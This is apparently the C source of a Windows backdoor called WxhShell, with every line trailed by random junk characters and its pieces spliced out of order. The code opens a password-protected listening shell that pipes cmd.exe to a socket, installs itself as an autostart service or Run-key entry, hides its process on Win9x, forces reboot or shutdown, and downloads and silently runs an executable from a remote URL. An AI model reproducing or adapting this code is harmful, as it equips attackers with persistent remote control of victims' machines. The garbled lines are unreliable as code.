    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZT;:Hxv0N  
    if(Boot(SHUTDOWN)) < BNCo5*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >9v?p=  
    else { 7>Oa, \  
    closesocket(wsh); |:?JSi0  
    ExitThread(0); (Mw<E<f  
    } !@<>S>uGG  
    break; jS,zdJs=  
    } #r4S%  
  // 获取shell ihr l!A5  
  case 's': { /6%<97/d  
    CmdShell(wsh);  #FfUkV  
    closesocket(wsh); 'F665  
    ExitThread(0); + ^9;<>P  
    break; i+z;tF`  
  } wEImpsC`  
  // 退出 u*NU MT2  
  case 'x': { ^Q\O8f[u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =5-|H;da  
    CloseIt(wsh); *8*E\nZx!  
    break; 3g#fX{e_5!  
    } D|1pBn.b]'  
  // 离开 3)J0f+M>dv  
  case 'q': { \dL# PI3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .RNr^*AQ  
    closesocket(wsh); A%G \ AT  
    WSACleanup(); 'h6Vj6  
    exit(1); Gv};mkX[N  
    break; aDik1Q  
        } h*qoe(+ZD  
  } 'e(`2  
  } {|jG_  
|$vhu`]Z@^  
  // 提示信息 I=,u7w`m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,DT =(  
} cQaEh1n  
  } (!nhU  
H...!c1M@  
  return; kXq*Jq  
} I oz rZ  
;b""N,  
// shell模块句柄 myj^c>1Iz  
int CmdShell(SOCKET sock) U 6y ;V  
{ U-$ B"w&  
STARTUPINFO si; l|[8'*]r!  
ZeroMemory(&si,sizeof(si)); 2HNH@K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c !ybz{L  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %` c?cB  
PROCESS_INFORMATION ProcessInfo; %0PZZl5b  
char cmdline[]="cmd"; Hset(-=X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H:ar&o#(  
  return 0; GA{Q6]B  
} bm{L6D E  
|xTf:@hgHf  
// 自身启动模式 l/BE~gdl  
int StartFromService(void) \@kY2,I V  
{ wNuS'P_(:T  
typedef struct p1=sDsLL  
{ c0Tda  
  DWORD ExitStatus; U+!H/R)(  
  DWORD PebBaseAddress; b|c?xHF}K  
  DWORD AffinityMask; 89B1\ff  
  DWORD BasePriority; `'u|4pRFs  
  ULONG UniqueProcessId; EiY i<Z_S  
  ULONG InheritedFromUniqueProcessId; urHQb5|T}  
}   PROCESS_BASIC_INFORMATION; 13]sZ([B%|  
vXnTPjbE  
PROCNTQSIP NtQueryInformationProcess; ;X u&['  
)T6+}   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,/\%-u? 1x  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |5}{4k~9J  
a4 g~'^uC  
  HANDLE             hProcess; K5Fzmo a  
  PROCESS_BASIC_INFORMATION pbi; '|e5cW6z  
Dg_/Iu>OAE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^P-!pK*  
  if(NULL == hInst ) return 0; 3<x_[0v`K1  
p&F=<<C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P X](hc=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .E_`*[ 5=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K \}xb2s  
?K7m:Dx  
  if (!NtQueryInformationProcess) return 0; '}c0:,5  
t_YiF%}s&#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3\FiQ/?  
  if(!hProcess) return 0; I\sCH  
(r,RwWYm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #jV6w=I  
Mi\f?  
  CloseHandle(hProcess); S8" h9|  
EX8:B.z`57  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J#CF SG  
if(hProcess==NULL) return 0; Dyp'a  
-aGv#!aIl  
HMODULE hMod; -t % .I=|  
char procName[255]; YTq>K/  
unsigned long cbNeeded; uH]n/Kv1,  
o([+Pp  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hHoc7  
il-v>GJU7{  
  CloseHandle(hProcess); T7n;Bf  
K/Axojo  
if(strstr(procName,"services")) return 1; // 以服务启动 G7C9FV bR  
KoQvC=+WI  
  return 0; // 注册表启动 '<m[  
} SZc6=^$  
ltHC+8 aZ  
// 主模块 `c{i +  
int StartWxhshell(LPSTR lpCmdLine) 8(%iYs$  
{ 2P9hx5PiV  
  SOCKET wsl; kaUH#;c>_  
BOOL val=TRUE; A1\;6W:  
  int port=0; 6R@ v>}  
  struct sockaddr_in door; q{c6DCc]\  
a+*|P  
  if(wscfg.ws_autoins) Install(); |U$oS2U\m  
~9]tt\jN*Y  
port=atoi(lpCmdLine); bM8b3, }?n  
RXgi>Hz  
if(port<=0) port=wscfg.ws_port; g9I2SdaJ  
oHu0] XA  
  WSADATA data; \rADwZm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ep[7#\}5  
L<QqQ"`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   " I`<s<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y S7[=S  
  door.sin_family = AF_INET; (q*T.   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~oT0h[<  
  door.sin_port = htons(port); =5^L_, 4c2  
y"!+Fus9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WABq6q!  
closesocket(wsl); u-j$4\'  
return 1; PWLMux  
} @?*26}qp  
~b8U#'KD  
  if(listen(wsl,2) == INVALID_SOCKET) { Z'WoChjM  
closesocket(wsl); q(!191@C(  
return 1; rq}ew0&/  
} 5@Ot@o  
  Wxhshell(wsl); $}W=O:L+D  
  WSACleanup(); v8 ggPI  
GR O[&;d`  
return 0; "]5]"F4]  
&bs/a] ?Z7  
} v?!x,H$Qd  
F7#   
// 以NT服务方式启动 %dO'kU/-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WK /Byd.Z  
{ q+e'=0BHd:  
DWORD   status = 0; 2HkP$;lED  
  DWORD   specificError = 0xfffffff; e][U ;  
ph%/;?wY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l5D8DvJCj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; OPBnU@=R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; io$AGi  
  serviceStatus.dwWin32ExitCode     = 0; [)# ,~L3  
  serviceStatus.dwServiceSpecificExitCode = 0; h+CTi6-p  
  serviceStatus.dwCheckPoint       = 0; bb+-R_3Kd  
  serviceStatus.dwWaitHint       = 0; cm6cW(x6  
uUwwR(R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !95ZK.UT  
  if (hServiceStatusHandle==0) return; & 2>W=h  
2^Q)~sSf9  
status = GetLastError(); ISa2|v;M  
  if (status!=NO_ERROR) @lDoMm,m'  
{ [$;6LFs }  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k[gO>UGB;  
    serviceStatus.dwCheckPoint       = 0; K.",=\53  
    serviceStatus.dwWaitHint       = 0; w2YfFtgD,  
    serviceStatus.dwWin32ExitCode     = status; DZilK:  
    serviceStatus.dwServiceSpecificExitCode = specificError; ; R&wr _%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); AnP7KSN[\  
    return; u! x9O8y  
  } arrNx|y  
o[O-|XL_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  l}5@6;}  
  serviceStatus.dwCheckPoint       = 0; liA)|.H  
  serviceStatus.dwWaitHint       = 0; B'lWs;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o(u&n3Q'  
} gieTkZ  
S}cpYjnH8  
// 处理NT服务事件,比如:启动、停止 B ;9^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w\:-lXw  
{ UMma|9l(i  
switch(fdwControl) O1ofN#u  
{ R/Mwq#xUb  
case SERVICE_CONTROL_STOP: nws '%MK)  
  serviceStatus.dwWin32ExitCode = 0; ]Vln5U   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G{pfyfF  
  serviceStatus.dwCheckPoint   = 0; J3Qv|w [3Y  
  serviceStatus.dwWaitHint     = 0; `kpX}cKK}  
  { (/a2#iW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5IOOVYl  
  } SsIy;l  
  return; rh5R kiF~  
case SERVICE_CONTROL_PAUSE: 9gZMfP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r1\c{5Wt  
  break; -icOg6%  
case SERVICE_CONTROL_CONTINUE: Hzcy '  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [ >O4hifq  
  break; GbFLu`Iu  
case SERVICE_CONTROL_INTERROGATE: z\Rs?v"  
  break; AjKP -[  
}; J*o :RnB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); # =V%S 2~  
} "w9LQ=mW  
ng0IRJ:3  
// 标准应用程序主函数 :3^b>(W.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D>+&= 5{  
{ (%}T\~`1z#  
3FT%.dV^  
// 获取操作系统版本 <W~5;m  
OsIsNt=GetOsVer(); 'b:e`2fl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }S<2({GI  
,d(F|5 M:  
  // 从命令行安装 T]Gxf"mK  
  if(strpbrk(lpCmdLine,"iI")) Install(); lhw]?\  
5cO}Jp%PA  
  // 下载执行文件 9 yH95uaDF  
if(wscfg.ws_downexe) { )IPnSh/ <  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M>D 3NY[,  
  WinExec(wscfg.ws_filenam,SW_HIDE); I+Qv$#S/  
} 8Y*SZTzV  
a% |[m,FvP  
if(!OsIsNt) { !sQ$a#Ea  
// 如果时win9x,隐藏进程并且设置为注册表启动 /=w9bUj5v  
HideProc(); fu?5gzT+b  
StartWxhshell(lpCmdLine); ,Dfq%~:grT  
} S+3'C  
else %^n9Z /I  
  if(StartFromService()) C9E l {f  
  // 以服务方式启动 0,)B~|+  
  StartServiceCtrlDispatcher(DispatchTable); .F:qJ6E  
else -}`ES]  
  // 普通方式启动 !4GG q  
  StartWxhshell(lpCmdLine); ["- pylhK  
"~Twx]Z  
return 0; @P#uH5U  
} qIcQPJn!}  
u.*@ l GVW  
j2# nCU54Z  
:#0uy1h  
=========================================== MzT#1~  
\?c0XD  
^8$CpAK]M  
]y3V ^W#  
RmxgCe(2a  
pW7vY)hj  
" K&0op 4&  
[R CUP.  
#include <stdio.h> Gc>bli<-  
#include <string.h> ez=$]cln  
#include <windows.h> [?x9NQ{  
#include <winsock2.h> 1{4d)z UB  
#include <winsvc.h> [Av#Z)R  
#include <urlmon.h> s:lar4>kM  
^0"NcOzzxl  
#pragma comment (lib, "Ws2_32.lib") sY+U$BYB>  
#pragma comment (lib, "urlmon.lib") Kdh(vNB>  
TJ[C,ic=D  
#define MAX_USER   100 // 最大客户端连接数 Y,RED5]t  
#define BUF_SOCK   200 // sock buffer v39`ct=e  
#define KEY_BUFF   255 // 输入 buffer ?(Q" y\  
tt%Zwf  
#define REBOOT     0   // 重启 r?Jxl<  
#define SHUTDOWN   1   // 关机 \s?OvqI:  
V2sWcV?  
#define DEF_PORT   5000 // 监听端口 !Rk1q&U5  
_=E))Kp{z  
#define REG_LEN     16   // 注册表键长度 r/1:!Vu(  
#define SVC_LEN     80   // NT服务名长度 I"Y d6M% ;  
;8/w'oe *j  
// 从dll定义API s<gZB:~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qKt8sxg  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); au7%K5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >JwdVy^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z_R^n#A~r  
JL $6Fw;  
// wxhshell配置信息 _F>1b16:/P  
struct WSCFG { y[[f?rxz>  
  int ws_port;         // 监听端口 'EU{%\qM  
  char ws_passstr[REG_LEN]; // 口令 0fA42*s;  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]#R'hL%f  
  char ws_regname[REG_LEN]; // 注册表键名 ?g| K"P<1  
  char ws_svcname[REG_LEN]; // 服务名 v{`Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K y~ 9's  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d=V4,:=S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UfjLNe}wA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `M/=_O3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6cz%>@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4 r#O._Z  
5r"BavA  
}; '&#`?\CXX  
/ U1VE|T  
// default Wxhshell configuration m)3?hF)  
struct WSCFG wscfg={DEF_PORT, " ] 0ER  
    "xuhuanlingzhe", )bRe"jxn7  
    1, u{0+w\xH\  
    "Wxhshell", kwNXKn/   
    "Wxhshell", [M_pf2Y  
            "WxhShell Service", !P/ ]o  
    "Wrsky Windows CmdShell Service",  =<fH RX`  
    "Please Input Your Password: ", Yf.H$L  
  1, uW%7X2K  
  "http://www.wrsky.com/wxhshell.exe", ^@l_K +T  
  "Wxhshell.exe" f Z$<'(t  
    }; /]%,C   
u^a\02aV[  
// 消息定义模块 ya5a7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?GqFtNz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; uA=6 HpDB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oc' #sE  
char *msg_ws_ext="\n\rExit."; HRIf)n&~f  
char *msg_ws_end="\n\rQuit."; *V#v6r7<Y/  
char *msg_ws_boot="\n\rReboot..."; UXD?gK1  
char *msg_ws_poff="\n\rShutdown..."; 7Z5,(dH>  
char *msg_ws_down="\n\rSave to "; L(TO5Y]  
^y'xcq  
char *msg_ws_err="\n\rErr!"; !+& NG&1  
char *msg_ws_ok="\n\rOK!"; S`2MQL  
Ht? u{\p@  
char ExeFile[MAX_PATH]; 5&7)hMppI  
int nUser = 0; 3~6F`G  
HANDLE handles[MAX_USER]; (Tp+43v  
int OsIsNt; dvxD{UH  
+A8S 6bA[=  
SERVICE_STATUS       serviceStatus; fI`T3Y!7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4LARqSmt  
^.Q{Aqu#.H  
// 函数声明 V\ch0i 1  
int Install(void); eHK}U+"\  
int Uninstall(void); A}C&WT~  
int DownloadFile(char *sURL, SOCKET wsh); )<G>]IP<  
int Boot(int flag); jjBcoQU$o  
void HideProc(void); gXI_S9 z  
int GetOsVer(void); v}A] R9TY  
int Wxhshell(SOCKET wsl); d hiLv_/  
void TalkWithClient(void *cs); yd "|HHx  
int CmdShell(SOCKET sock); $m:}{:LDCf  
int StartFromService(void); J9ovy>G  
int StartWxhshell(LPSTR lpCmdLine); Wd$N[|  
Cvm ZW$5Yo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D}"\nCz}y&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S$W *i@x?  
9bgKu6-X  
// 数据结构和表定义 R*.XbkW~  
SERVICE_TABLE_ENTRY DispatchTable[] = deaxb8'7  
{ ;nLQ?eS\  
{wscfg.ws_svcname, NTServiceMain}, F<BhN+U  
{NULL, NULL} \F,?ptu  
}; <9-tA\`8N  
z QoMHFL3  
// 自我安装 RUf,)]Vvk  
int Install(void) 0LoA-c<Ay  
{ C JiMg'K  
  char svExeFile[MAX_PATH]; v|_?qBs"  
  HKEY key; lO%Z4V_Mj  
  strcpy(svExeFile,ExeFile); l*_b)&CH  
5yp~PhHf  
// 如果是win9x系统,修改注册表设为自启动 R.A}tV=j#  
if(!OsIsNt) { &gF{<$$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]gTa TY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JC{}iG6r+  
  RegCloseKey(key); ~FZLA}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )%;#~\A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |:!#k A  
  RegCloseKey(key); BxZ}YS:  
  return 0; XT>e/x9'  
    } ~SM2W%  
  } \'E_  
} a6WE,4T9  
else { 6e  |  
=eac,]31  
// 如果是NT以上系统,安装为系统服务 HLYM(Pz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Tj0eW(<!s  
if (schSCManager!=0) Y141Twjvd  
{ 2:p2u1Q O  
  SC_HANDLE schService = CreateService +6gS]  
  ( \`>Y   
  schSCManager, fbw {)SZ  
  wscfg.ws_svcname, 0)ST_2Ci  
  wscfg.ws_svcdisp, \vQ_:-A  
  SERVICE_ALL_ACCESS, ip>dHj z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /f%u_ 8pV%  
  SERVICE_AUTO_START, 4i~;Ql  
  SERVICE_ERROR_NORMAL, ^~BJu#uVyy  
  svExeFile, NLz$jk%=g  
  NULL, t"0~2R6i  
  NULL,  a$aI%  
  NULL, SI;G|uO;/  
  NULL, uT-WQ/id  
  NULL }a<MVG:>SF  
  ); ,nHz~Xi1t  
  if (schService!=0) Ccc6 ko_  
  { xVl90ak  
  CloseServiceHandle(schService); 3ZZJYf=  
  CloseServiceHandle(schSCManager); v(: VUo]H  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ww\/$ |  
  strcat(svExeFile,wscfg.ws_svcname); RhQOl9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !)\`U/.W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~{5%~8h.0r  
  RegCloseKey(key); #;mZ3[+i5  
  return 0; gdT^QM:y4$  
    } 4h~Oj y16&  
  } n[iil$VKh  
  CloseServiceHandle(schSCManager); 5;|9bWH  
} 1qQgAhoY  
} hD$U8~zK  
)(ma  
return 1; Gf%o|kX]  
} `8y &  
k~vmHb  
// 自我卸载 Gg;#U`  
int Uninstall(void) JI*ikco-  
{ a"EQldm|d  
  HKEY key; 72{kig9c  
tNUcmiY  
if(!OsIsNt) { {UUVN/$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !tb RqW6v  
  RegDeleteValue(key,wscfg.ws_regname); M,#t7~t  
  RegCloseKey(key); }j:ae \(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 92VAQU6  
  RegDeleteValue(key,wscfg.ws_regname); L,D!T&B  
  RegCloseKey(key); )5&m:R9  
  return 0; vEgJmHv;  
  } J}YI-t  
} E"" /dC:B  
} ?"C]h s  
else { \E#r[9F{  
&U,f~KJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UwM}!K7)G  
if (schSCManager!=0) q%y_<Fw#E  
{ sZbzY^P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5Px.G*  
  if (schService!=0) IB?A]oN1{  
  { siG?Sd_2  
  if(DeleteService(schService)!=0) { yNT2kB'  
  CloseServiceHandle(schService); JDhA{VN6  
  CloseServiceHandle(schSCManager); lZua"Ju  
  return 0; EjF}yuq[  
  } XWvs~Xw@  
  CloseServiceHandle(schService); Eyn3Vv?v  
  } JZtFt=>q  
  CloseServiceHandle(schSCManager); UMX+h])#N  
}  HOD2/  
} SKtEEFyIR_  
wYxizNv,  
return 1; U'lD|R,g  
} mvL'l)  
HcVPJuD  
// 从指定url下载文件 FvNO*'xP  
int DownloadFile(char *sURL, SOCKET wsh) i&3 0n#  
{ 1Efl|lV  
  HRESULT hr; "p; DQ-V  
char seps[]= "/"; .{;!bw  
char *token; <s2l*mc  
char *file; =;a4 Dp  
char myURL[MAX_PATH]; dSL %%  
char myFILE[MAX_PATH]; S]o  
?dmMGm0T9  
strcpy(myURL,sURL); \}Wkj~IX  
  token=strtok(myURL,seps); ~^euaOFU 6  
  while(token!=NULL) IL=v[)en4  
  { =%u|8Ea*`  
    file=token; v-gT 3kJ  
  token=strtok(NULL,seps); #,PAM.rH  
  } {x4[Bx1  
O1ha'@qID  
GetCurrentDirectory(MAX_PATH,myFILE); pkU e|V  
strcat(myFILE, "\\"); =c.q]/M  
strcat(myFILE, file); oto od  
  send(wsh,myFILE,strlen(myFILE),0); C~;0A!@]Y  
send(wsh,"...",3,0); (XwLKkw0n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZYt __N  
  if(hr==S_OK) )eFFtnu5  
return 0; h]MVFn{  
else /2cI{]B  
return 1; ,SM- Z`'  
eq+o_R}CS  
} }J?fJ (  
I:_*8el&d  
// 系统电源模块 {^kG<v.vV  
int Boot(int flag) QO7:iSZJ  
{ by U\I5  
  HANDLE hToken; iXm||?Rnx  
  TOKEN_PRIVILEGES tkp; ^0|NmMJ]  
7 h1"8#X  
  if(OsIsNt) { uBTT {GGQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U>+~.|'V9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4 ufLP DH  
    tkp.PrivilegeCount = 1; h3lDDyu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $048y X 7M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h*KHEg"+  
if(flag==REBOOT) { ~0-764%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1 (i>Vt.+  
  return 0; W #L"5pRg  
} KY`96~z  
else { =[K)<5,@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]pV1T  
  return 0; =b!J)]  
} ww($0A`ek  
  } qZJ*J+  
  else { ow_y  
if(flag==REBOOT) { 6lWFxbh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e^NEj1  
  return 0;  ;Z q~w  
} S8OVG4-  
else { DjzUH{6O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )6Q0f  
  return 0; b'1d<sD  
} "x;k'{S  
} ,GJ>vT)  
T4=3VrS  
return 1; n]DNxC@b  
} P"x-7>c>Y  
}#G"!/ZA0:  
// win9x进程隐藏模块 _Hu2[lV  
void HideProc(void) bjBeiKH  
{ )c*k _/ 4  
5g1M_8e'+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K`,d$  
  if ( hKernel != NULL ) (bx\4Ws  
  { E^ok`wfO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XLmMK{gs  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n<:d%&^n  
    FreeLibrary(hKernel); N4H+_g|  
  } LBkcs4+  
R==cz^#  
return; =*g$#l4  
} \`/E !ub  
aGe(vQPi9  
// 获取操作系统版本 F[CT l3X  
int GetOsVer(void)  C5+`<  
{ Yxd{&47  
  OSVERSIONINFO winfo; zNny\Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6%kJDY.  
  GetVersionEx(&winfo); 28R>>C=R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'xbERu(Y  
  return 1; %XI"<Y\yL  
  else |[ Ie.&)  
  return 0; z,bX.*.-  
} x_<bK$OU  
icPp8EwH  
// 客户端句柄模块 nU&NopD+*G  
int Wxhshell(SOCKET wsl) abo>_"9-  
{ )Ig+uDGk  
  SOCKET wsh; :4 j a@~  
  struct sockaddr_in client; [v0ri<sm  
  DWORD myID; "J pTE \/  
{?*<B=c  
  while(nUser<MAX_USER) X 45x~8f  
{ wb6L? t  
  int nSize=sizeof(client); ahNX/3; y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Kx- s0cw  
  if(wsh==INVALID_SOCKET) return 1; f6B-~x<l  
VU! l50   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {}_Nep/;  
if(handles[nUser]==0) Q1`<fD  
  closesocket(wsh); :}@C9pqr2  
else %j'G.*TD  
  nUser++; S jVsF1d_  
  } nn@^K6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~h)@e\Kc  
RpO@pd m  
  return 0; Y=vVxVI\  
} ietRr!$.  
d>%gW*  
// 关闭 socket *jM_wwG  
void CloseIt(SOCKET wsh) e1 x^PT  
{ `^7:7Wr]=  
closesocket(wsh); wMb)6YZs  
nUser--; -t8hi+NK  
ExitThread(0); erx 5j\  
} ~;M)qR?]W  
gjj 93  
// 客户端请求句柄 D|@bGN  
void TalkWithClient(void *cs) T'ED$}N>~  
{  0xJ7M.  
/?KtXV>]  
  SOCKET wsh=(SOCKET)cs; ;V_.[aX  
  char pwd[SVC_LEN]; B_{HkQ.PW  
  char cmd[KEY_BUFF]; }p~OCW!  
char chr[1]; 6'xomRpYN  
int i,j; B7!<{i  
_u&>&,:q  
  while (nUser < MAX_USER) { T@TIz z  
_om0 e=5)  
if(wscfg.ws_passstr) { AV40:y\RW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q6"uK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gNShOu  
  //ZeroMemory(pwd,KEY_BUFF); S4cpQq.  
      i=0; 'X7%35Y  
  while(i<SVC_LEN) { {5^K Xj$B  
=p <?Hu  
  // 设置超时 qysTjGwa]  
  fd_set FdRead; iI5+P`sE&J  
  struct timeval TimeOut; >+cSPN'i>  
  FD_ZERO(&FdRead); G&q'#3ieC  
  FD_SET(wsh,&FdRead); +R-h ,$\=7  
  TimeOut.tv_sec=8; wfgqgPo!v  
  TimeOut.tv_usec=0; ?4XnEDA m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %.mEBI=hs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W'a(oI  
[r)e P({  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f-;$0mTQ  
  pwd=chr[0]; 0n Y6A~  
  if(chr[0]==0xd || chr[0]==0xa) { {esJ=FV\  
  pwd=0; ~h-C&G ,v  
  break; Cyq?5\a  
  } vT|`%~Be  
  i++; (n,u|}8Y  
    } Wf#VA;d  
E<tK4?i"  
  // 如果是非法用户,关闭 socket j^flwk  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hi ~}  
} !/`$AXO  
WJ |:kuF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zN#*G i'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MtS3p>4  
-KH)J  
while(1) { bB!#:j>(v  
a5@z:i  
  ZeroMemory(cmd,KEY_BUFF); "wAf. =F  
As~(7?]r  
      // 自动支持客户端 telnet标准   41G5!=i  
  j=0; L*h{'<Bz  
  while(j<KEY_BUFF) { *wuqa) q2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `:e U.  
  cmd[j]=chr[0]; ~e `Bq>  
  if(chr[0]==0xa || chr[0]==0xd) { Wy4$*$  
  cmd[j]=0; t 42ub  
  break; 9T7e\<8"vC  
  } $<nCXVqL,  
  j++; *)<B0SjT  
    } V8WFQdXc  
uI~s8{0T6  
  // 下载文件 )[L^Dmd,  
  if(strstr(cmd,"http://")) { 0fm*`4Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gn8 |/ev  
  if(DownloadFile(cmd,wsh)) ~ Vw9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); RBwO+J53y  
  else ]}Z4P-"t  
